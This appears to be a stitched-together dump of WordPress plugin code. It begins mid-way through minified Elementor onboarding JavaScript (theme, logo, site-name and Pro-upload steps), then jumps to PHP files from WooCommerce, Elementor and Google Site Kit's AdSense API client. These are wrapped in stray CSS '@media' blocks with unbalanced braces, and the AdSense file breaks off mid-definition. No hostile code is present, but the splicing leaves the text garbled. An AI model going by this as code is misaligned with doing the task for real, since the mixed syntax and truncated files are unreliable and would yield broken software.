sendNextButtonEvent(){elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep}})},J={text:M,role:"button"};C&&(J.className="e-onboarding__button--processing");t.isHelloThemeActivated?J.onClick=function(){V(),B()}:J.onClick=function(){V(),t.isHelloThemeInstalled&&!t.isHelloThemeActivated?F():t.isHelloThemeInstalled?B():z()};"completed"!==t.steps.hello&&(H={text:o("Skip","elementor")});return(0,i.useEffect)((function(){C&&q(i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"})));var e=[],t=setTimeout((function(){C&&q(i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"}),i.default.createElement("span",{className:"e-onboarding__action-button-text"},o("Hold on, this can take a minute...","elementor"))))}),4e3);e.push(t);var n=setTimeout((function(){C&&q(i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"}),i.default.createElement("span",{className:"e-onboarding__action-button-text"},o("Okay, now we're really close...","elementor"))))}),3e4);e.push(n),W(e)}),[C]),(0,i.useEffect)((function(){var e;"initial"!==f.status&&("success"===f.status&&null!==(e=f.response)&&void 0!==e&&e.helloThemeActivated?G():"error"===f.status&&(elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep,action_state:"failure",action:"hello theme activation"}}),j({type:"error",icon:"eicon-warning",message:o("There was a problem activating Hello Theme.","elementor")}),U()))}),[f.status]),i.default.createElement(d.default,{pageId:D,nextStep:I},i.default.createElement(p.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Hello.svg",title:o("Every site starts with a theme.","elementor"),actionButton:J,skipButton:H,noticeState:w},i.default.createElement("p",null,o("Hello is Elementor's official blank canvas theme optimized to build your website exactly the way you want.","elementor")),i.default.createElement("p",null,o("Here's why:","elementor")),i.default.createElement("ul",{className:"e-onboarding__feature-list"},i.default.createElement("li",null,o("Light-weight and fast loading","elementor")),i.default.createElement("li",null,o("Great for SEO","elementor")),i.default.createElement("li",null,o("Already being used by 1M+ web creators","elementor")))),i.default.createElement("div",{className:"e-onboarding__footnote"},"* "+o("You can switch your theme later on","elementor")))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(73185),u=n(50927),s=r(n(51432)),d=r(n(84474)),p=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},93679:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function SiteLogo(){var e,t=(0,i.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=t.getStateObjectToUpdate,g=(0,i.useState)(n.siteLogo.id?n.siteLogo:null),v=(0,l.default)(g,2),b=v[0],_=v[1],h=(0,i.useState)(!1),y=(0,l.default)(h,2),C=y[0],E=y[1],O=(0,i.useState)(!1),P=(0,l.default)(O,2),k=P[0],w=P[1],j=(0,i.useState)(),S=(0,l.default)(j,2),N=S[0],x=S[1],W=(0,i.useState)(null),R=(0,l.default)(W,2),T=R[0],A=R[1],M=(0,s.default)(),q=M.ajaxState,L=M.setAjax,D=(0,s.default)(),I=D.ajaxState,B=D.setAjax,H="siteLogo",U="goodToGo",G=(0,u.useNavigate)(),F={role:"button",onClick:function onClick(){if(elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),b.id)if(b.id!==n.siteLogo.id)z();else{var e=a(n,"steps",H,"completed");r(e),G("onboarding/goodToGo")}}};"completed"!==n.steps[H]&&(e={text:o("Skip","elementor")});F.text=C?i.default.createElement(i.default.Fragment,null,i.default.createElement("i",{className:"eicon-loading eicon-animation-spin","aria-hidden":"true"})):o("Next","elementor");b||(F.className="e-onboarding__button--disabled");var z=(0,i.useCallback)((function(){E(!0),L({data:{action:"elementor_update_site_logo",data:JSON.stringify({attachmentId:b.id})}})}),[b]),V=function uploadSiteLogo(e){E(!0),B({data:{action:"elementor_upload_site_logo",fileToUpload:e}})},J=function dismissUnfilteredFilesCallback(){E(!1),_(null),w(!1)};return(0,i.useEffect)((function(){var e,t;"initial"!==I.status&&("success"===I.status&&null!==(e=I.response)&&void 0!==e&&null!==(t=e.imageAttachment)&&void 0!==t&&t.id?(elementorCommon.events.dispatchEvent({event:"logo image uploaded",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,source:N}}),E(!1),_(I.response.imageAttachment),T&&A(null)):"error"===I.status&&(E(!1),_(null),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,action_state:"failure",action:"logo image upload"}}),A({type:"error",icon:"eicon-warning",message:"That didn't work. Try uploading your file again."})))}),[I.status]),(0,i.useEffect)((function(){var e;if("initial"!==q.status)if("success"===q.status&&null!==(e=q.response)&&void 0!==e&&e.siteLogoUpdated){elementorCommon.events.dispatchEvent({event:"logo image updated",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,source:N}}),E(!1),T&&A(null);var t=a(n,"steps",H,"completed");t.siteLogo={id:b.id,url:b.url},r(t),G("onboarding/goodToGo")}else"error"===q.status&&(E(!1),elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"update site logo"}}),A({type:"error",icon:"eicon-warning",message:"That didn't work. Try uploading your file again."}))}),[q.status]),i.default.createElement(f.default,{pageId:H,nextStep:U},i.default.createElement(m.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Setup.svg",title:o("Have a logo? Add it here.","elementor"),actionButton:F,skipButton:e,noticeState:T},i.default.createElement("span",null,o("Otherwise, you can skip this and add one later.","elementor")),b&&!k?i.default.createElement("div",{className:"e-onboarding__logo-container"+(C?" e-onboarding__is-uploading":"")},i.default.createElement("div",{className:"e-onboarding__logo-remove",onClick:function onClick(){return function onImageRemoveClick(){elementorCommon.events.dispatchEvent({event:"remove selected logo",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement}}),_(null)}()}},i.default.createElement("i",{className:"eicon-trash-o"})),i.default.createElement("img",{src:b.url,alt:o("Potential Site Logo","elementor")})):i.default.createElement(i.default.Fragment,null,i.default.createElement(d.default,{className:"e-onboarding__drop-zone",heading:o("Drop image here","elementor"),secondaryText:o("or","elementor"),buttonText:o("Open Media Library","elementor"),buttonVariant:"outlined",buttonColor:"cta",icon:"",type:"wp-media",filetypes:["jpg","jpeg","png","svg"],onFileSelect:function onFileSelect(e){return function onFileSelect(e){x("drop"),"image/svg+xml"!==e.type||elementorAppConfig.onboarding.isUnfilteredFilesEnabled?(_(e),A(null),V(e)):(_(e),E(!0),w(!0))}(e)},onWpMediaSelect:function onWpMediaSelect(e){var t=e.state().get("selection").first().toJSON();x("browse"),_(t),A(null)},onButtonClick:function onButtonClick(){elementorCommon.events.dispatchEvent({event:"browse file click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}})},onError:function onError(e){"file_not_allowed"===e.id&&(elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"logo upload format"}}),A({type:"error",icon:"eicon-warning",message:o("This file type is not supported. Try a different type of file","elementor")}))}})),i.default.createElement(p.default,{show:k,setShow:w,confirmModalText:o("This allows Elementor to scan your SVGs for malicious content. If you do not wish to allow this, use a different image format.","elementor"),errorModalText:o("There was a problem with enabling SVG uploads. Try again, or use another image format.","elementor"),onReady:function onReady(){w(!1),elementorAppConfig.onboarding.isUnfilteredFilesEnabled=!0,V(b)},onDismiss:function onDismiss(){return J()},onCancel:function onCancel(){return J()}})))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(73185),u=n(50927),s=r(n(51432)),d=r(n(20857)),p=r(n(72144)),f=r(n(84474)),m=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},50030:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function SiteName(){var e,t=(0,i.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=t.getStateObjectToUpdate,f=(0,s.default)(),m=f.ajaxState,g=f.setAjax,v=(0,i.useState)(null),b=(0,l.default)(v,2),_=b[0],h=b[1],y=(0,i.useState)(n.siteName),C=(0,l.default)(y,2),E=C[0],O=C[1],P="siteName",k="siteLogo",w=(0,u.useNavigate)(),j=(0,i.useRef)(),S={text:o("Next","elementor"),onClick:function onClick(){if(elementorCommon.events.dispatchEvent({event:"next",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),j.current.value!==n.siteName&&""!==j.current.value)g({data:{action:"elementor_update_site_name",data:JSON.stringify({siteName:j.current.value})}});else if(j.current.value===n.siteName){var e=a(n,"steps",P,"completed");r(e),w("onboarding/siteLogo")}else{var t=a(n,"steps",P,"skipped");r(t),w("onboarding/siteLogo")}}};"completed"!==n.steps[P]&&(e={text:o("Skip","elementor")});E||(S.className="e-onboarding__button--disabled");return(0,i.useEffect)((function(){var e;if("initial"!==m.status)if("success"===m.status&&null!==(e=m.response)&&void 0!==e&&e.siteNameUpdated){var t=a(n,"steps",P,"completed");t.siteName=j.current.value,r(t),w("onboarding/siteLogo")}else"error"===m.status&&(elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,action_state:"failure",action:"site name update"}}),h({type:"error",icon:"eicon-warning",message:o("Sorry, the name wasn't saved. Try again, or skip for now.","elementor")}))}),[m.status]),i.default.createElement(d.default,{pageId:P,nextStep:k},i.default.createElement(p.default,{image:elementorCommon.config.urls.assets+"images/app/onboarding/Illustration_Setup.svg",title:o("Now, let's give your site a name.","elementor"),actionButton:S,skipButton:e,noticeState:_},i.default.createElement("p",null,o("This is what your site is called on the WP dashboard, and can be changed later from the general settings - it's not your website's URL.","elementor")),i.default.createElement("input",{className:"e-onboarding__text-input e-onboarding__site-name-input",type:"text",placeholder:"e.g. Eric's Space Shuttles",defaultValue:n.siteName||"",ref:j,onChange:function onChange(e){return O(e.target.value)}})))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=n(73185),u=n(50927),s=r(n(51432)),d=r(n(84474)),p=r(n(60627));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},93484:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function UploadAndInstallPro(){(0,u.default)({title:o("Upload and Install Elementor Pro","elementor")});var e=(0,i.useContext)(f.OnboardingContext).state,t=(0,c.default)(),n=t.ajaxState,r=t.setAjax,a=(0,i.useState)(null),g=(0,l.default)(a,2),v=g[0],b=g[1],_=(0,i.useState)(!1),h=(0,l.default)(_,2),y=h[0],C=h[1],E=(0,i.useState)(),O=(0,l.default)(E,2),P=O[0],k=O[1],w=(0,i.useCallback)((function(e){C(!0),r({data:{action:"elementor_upload_and_install_pro",fileToUpload:e}})}),[]),j=function setErrorNotice(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"upload",o=(null==t?void 0:t.message)||"That didn't work. Try uploading your file again.";elementorCommon.events.dispatchEvent({event:"indication prompt",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep,action_state:"failure",action:n+" pro",source:P}}),b({type:"error",icon:"eicon-warning",message:o})};(0,i.useEffect)((function(){var t;"initial"!==n.status&&(C(!1),"success"===n.status&&null!==(t=n.response)&&void 0!==t&&t.elementorProInstalled?(elementorCommon.events.dispatchEvent({event:"pro uploaded",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep,source:P}}),opener&&opener!==window&&(opener.jQuery("body").trigger("elementor/upload-and-install-pro/success"),window.close(),opener.focus())):"error"===n.status&&j("install"))}),[n.status]);if(y)return i.default.createElement(m.default,{loadingText:o("Uploading","elementor")});return i.default.createElement("div",{className:"eps-app e-onboarding__upload-pro"},i.default.createElement(s.default,null,i.default.createElement(d.default,{className:"e-onboarding__upload-pro-drop-zone",onFileSelect:function onFileSelect(e,t,n){k(n),w(e)},onError:function onError(e){return j(e,"upload")},filetypes:["zip"],buttonColor:"cta",buttonVariant:"contained",heading:o("Import your Elementor Pro plugin file","elementor"),text:o("Drag & Drop your .zip file here","elementor"),secondaryText:o("or","elementor"),buttonText:o("Browse","elementor")}),v&&i.default.createElement(p.default,{noticeState:v}),i.default.createElement("div",{className:"e-onboarding__upload-pro-get-file"},o("Don't know where to get the file from?","elementor")+" ",i.default.createElement("a",{onClick:function onClick(){return function onProUploadHelpLinkClick(){elementorCommon.events.dispatchEvent({event:"pro plugin upload help",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep}})}()},href:"https://my.elementor.com/subscriptions/"+elementorAppConfig.onboarding.utms.downloadPro,target:"_blank"},o("Click here","elementor")))))};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(40131)),c=r(n(51432)),u=r(n(4801)),s=r(n(32161)),d=r(n(20857)),p=r(n(48228)),f=n(73185),m=r(n(13329));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},17726:(e,t,n)=>{var o=n(23615);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Connect;var r=n(87363),a=n(73185);function Connect(e){var t=(0,r.useContext)(a.OnboardingContext),n=t.state,o=t.updateState,i=t.getStateObjectToUpdate;return(0,r.useEffect)((function(){jQuery(e.buttonRef.current).elementorConnect({success:function success(t){return e.successCallback?e.successCallback(t):function connectSuccessCallback(e){var t=i(n,"steps","account","completed");elementorCommon.config.library_connect.is_connected=!0,elementorCommon.config.library_connect.current_access_level=e.kits_access_level||e.access_level||0,t.isLibraryConnected=!0,o(t)}(t)},error:function error(){e.errorCallback&&e.errorCallback()},popup:{width:726,height:534}})}),[]),null}Connect.propTypes={buttonRef:o.object.isRequired,successCallback:o.func,errorCallback:o.func}}}]);}@media only screen and (max-width: 800px){<?php
namespace Automattic\WooCommerce\Blocks\BlockTypes;

/**
 * CartTotalsBlock class.
 */
class CartTotalsBlock extends AbstractInnerBlock {
	/**
	 * Block name.
	 *
	 * @var string
	 */
	protected $block_name = 'cart-totals-block';
}
}@media only screen and (max-width: 640px){<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * This file is generated by Webpack, do not edit it directly.
 */
return [
	'handle' => 'elementor-v2-editor-props',
	'deps' => [
		'elementor-v2-schema',
	],
];
}@media only screen and (max-width: 800px){<?php

/*
 * Copyright 2014 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */
namespace Google\Site_Kit_Dependencies\Google\Service;

use Google\Site_Kit_Dependencies\Google\Client;
/**
 * Service definition for Adsense (v2).
 *
 * <p>
 * The AdSense Management API allows publishers to access their inventory and
 * run earnings and performance reports.</p>
 *
 * <p>
 * For more information about this service, see the API
 * <a href="https://developers.google.com/adsense/management/" target="_blank">Documentation</a>
 * </p>
 *
 * @author Google, Inc.
 */
class Adsense extends \Google\Site_Kit_Dependencies\Google\Service
{
    /** View and manage your AdSense data. */
    const ADSENSE = "https://www.googleapis.com/auth/adsense";
    /** View your AdSense data. */
    const ADSENSE_READONLY = "https://www.googleapis.com/auth/adsense.readonly";
    public $accounts;
    public $accounts_adclients;
    public $accounts_adclients_adunits;
    public $accounts_adclients_customchannels;
    public $accounts_adclients_urlchannels;
    public $accounts_alerts;
    public $accounts_payments;
    public $accounts_reports;
    public $accounts_reports_saved;
    public $accounts_sites;
    /**
     * Constructs the internal representation of the Adsense service.
     *
     * @param Client|array $clientOrConfig The client used to deliver requests, or a
     *                                     config array to pass to a new Client instance.
     * @param string $rootUrl The root URL used for requests to the service.
     */
    public function __construct($clientOrConfig = [], $rootUrl = null)
    {
        parent::__construct($clientOrConfig);
        $this->rootUrl = $rootUrl ?: 'https://adsense.googleapis.com/';
        $this->servicePath = '';
        $this->batchPath = 'batch';
        $this->version = 'v2';
        $this->serviceName = 'adsense';
        $this->accounts = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\Accounts($this, $this->serviceName, 'accounts', ['methods' => ['get' => ['path' => 'v2/{+name}', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'getAdBlockingRecoveryTag' => ['path' => 'v2/{+name}/adBlockingRecoveryTag', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'list' => ['path' => 'v2/accounts', 'httpMethod' => 'GET', 'parameters' => ['pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]], 'listChildAccounts' => ['path' => 'v2/{+parent}:listChildAccounts', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]]]]);
        $this->accounts_adclients = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsAdclients($this, $this->serviceName, 'adclients', ['methods' => ['get' => ['path' => 'v2/{+name}', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'getAdcode' => ['path' => 'v2/{+name}/adcode', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'list' => ['path' => 'v2/{+parent}/adclients', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]]]]);
        $this->accounts_adclients_adunits = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsAdclientsAdunits($this, $this->serviceName, 'adunits', ['methods' => ['create' => ['path' => 'v2/{+parent}/adunits', 'httpMethod' => 'POST', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'get' => ['path' => 'v2/{+name}', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'getAdcode' => ['path' => 'v2/{+name}/adcode', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'list' => ['path' => 'v2/{+parent}/adunits', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]], 'listLinkedCustomChannels' => ['path' => 'v2/{+parent}:listLinkedCustomChannels', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]], 'patch' => ['path' => 'v2/{+name}', 'httpMethod' => 'PATCH', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'updateMask' => ['location' => 'query', 'type' => 'string']]]]]);
        $this->accounts_adclients_customchannels = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsAdclientsCustomchannels($this, $this->serviceName, 'customchannels', ['methods' => ['create' => ['path' => 'v2/{+parent}/customchannels', 'httpMethod' => 'POST', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'delete' => ['path' => 'v2/{+name}', 'httpMethod' => 'DELETE', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'get' => ['path' => 'v2/{+name}', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'list' => ['path' => 'v2/{+parent}/customchannels', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]], 'listLinkedAdUnits' => ['path' => 'v2/{+parent}:listLinkedAdUnits', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]], 'patch' => ['path' => 'v2/{+name}', 'httpMethod' => 'PATCH', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'updateMask' => ['location' => 'query', 'type' => 'string']]]]]);
        $this->accounts_adclients_urlchannels = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsAdclientsUrlchannels($this, $this->serviceName, 'urlchannels', ['methods' => ['get' => ['path' => 'v2/{+name}', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]], 'list' => ['path' => 'v2/{+parent}/urlchannels', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]]]]);
        $this->accounts_alerts = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsAlerts($this, $this->serviceName, 'alerts', ['methods' => ['list' => ['path' => 'v2/{+parent}/alerts', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'languageCode' => ['location' => 'query', 'type' => 'string']]]]]);
        $this->accounts_payments = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsPayments($this, $this->serviceName, 'payments', ['methods' => ['list' => ['path' => 'v2/{+parent}/payments', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true]]]]]);
        $this->accounts_reports = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsReports($this, $this->serviceName, 'reports', ['methods' => ['generate' => ['path' => 'v2/{+account}/reports:generate', 'httpMethod' => 'GET', 'parameters' => ['account' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'currencyCode' => ['location' => 'query', 'type' => 'string'], 'dateRange' => ['location' => 'query', 'type' => 'string'], 'dimensions' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'endDate.day' => ['location' => 'query', 'type' => 'integer'], 'endDate.month' => ['location' => 'query', 'type' => 'integer'], 'endDate.year' => ['location' => 'query', 'type' => 'integer'], 'filters' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'languageCode' => ['location' => 'query', 'type' => 'string'], 'limit' => ['location' => 'query', 'type' => 'integer'], 'metrics' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'orderBy' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'reportingTimeZone' => ['location' => 'query', 'type' => 'string'], 'startDate.day' => ['location' => 'query', 'type' => 'integer'], 'startDate.month' => ['location' => 'query', 'type' => 'integer'], 'startDate.year' => ['location' => 'query', 'type' => 'integer']]], 'generateCsv' => ['path' => 'v2/{+account}/reports:generateCsv', 'httpMethod' => 'GET', 'parameters' => ['account' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'currencyCode' => ['location' => 'query', 'type' => 'string'], 'dateRange' => ['location' => 'query', 'type' => 'string'], 'dimensions' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'endDate.day' => ['location' => 'query', 'type' => 'integer'], 'endDate.month' => ['location' => 'query', 'type' => 'integer'], 'endDate.year' => ['location' => 'query', 'type' => 'integer'], 'filters' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'languageCode' => ['location' => 'query', 'type' => 'string'], 'limit' => ['location' => 'query', 'type' => 'integer'], 'metrics' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'orderBy' => ['location' => 'query', 'type' => 'string', 'repeated' => \true], 'reportingTimeZone' => ['location' => 'query', 'type' => 'string'], 'startDate.day' => ['location' => 'query', 'type' => 'integer'], 'startDate.month' => ['location' => 'query', 'type' => 'integer'], 'startDate.year' => ['location' => 'query', 'type' => 'integer']]], 'getSaved' => ['path' => 'v2/{+name}/saved', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true]]]]]);
        $this->accounts_reports_saved = new \Google\Site_Kit_Dependencies\Google\Service\Adsense\Resource\AccountsReportsSaved($this, $this->serviceName, 'saved', ['methods' => ['generate' => ['path' => 'v2/{+name}/saved:generate', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'currencyCode' => ['location' => 'query', 'type' => 'string'], 'dateRange' => ['location' => 'query', 'type' => 'string'], 'endDate.day' => ['location' => 'query', 'type' => 'integer'], 'endDate.month' => ['location' => 'query', 'type' => 'integer'], 'endDate.year' => ['location' => 'query', 'type' => 'integer'], 'languageCode' => ['location' => 'query', 'type' => 'string'], 'reportingTimeZone' => ['location' => 'query', 'type' => 'string'], 'startDate.day' => ['location' => 'query', 'type' => 'integer'], 'startDate.month' => ['location' => 'query', 'type' => 'integer'], 'startDate.year' => ['location' => 'query', 'type' => 'integer']]], 'generateCsv' => ['path' => 'v2/{+name}/saved:generateCsv', 'httpMethod' => 'GET', 'parameters' => ['name' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'currencyCode' => ['location' => 'query', 'type' => 'string'], 'dateRange' => ['location' => 'query', 'type' => 'string'], 'endDate.day' => ['location' => 'query', 'type' => 'integer'], 'endDate.month' => ['location' => 'query', 'type' => 'integer'], 'endDate.year' => ['location' => 'query', 'type' => 'integer'], 'languageCode' => ['location' => 'query', 'type' => 'string'], 'reportingTimeZone' => ['location' => 'query', 'type' => 'string'], 'startDate.day' => ['location' => 'query', 'type' => 'integer'], 'startDate.month' => ['location' => 'query', 'type' => 'integer'], 'startDate.year' => ['location' => 'query', 'type' => 'integer']]], 'list' => ['path' => 'v2/{+parent}/reports/saved', 'httpMethod' => 'GET', 'parameters' => ['parent' => ['location' => 'path', 'type' => 'string', 'required' => \true], 'pageSize' => ['location' => 'query', 'type' => 'integer'], 'pageToken' => ['location' => 'query', 'type' => 'string']]]]]);
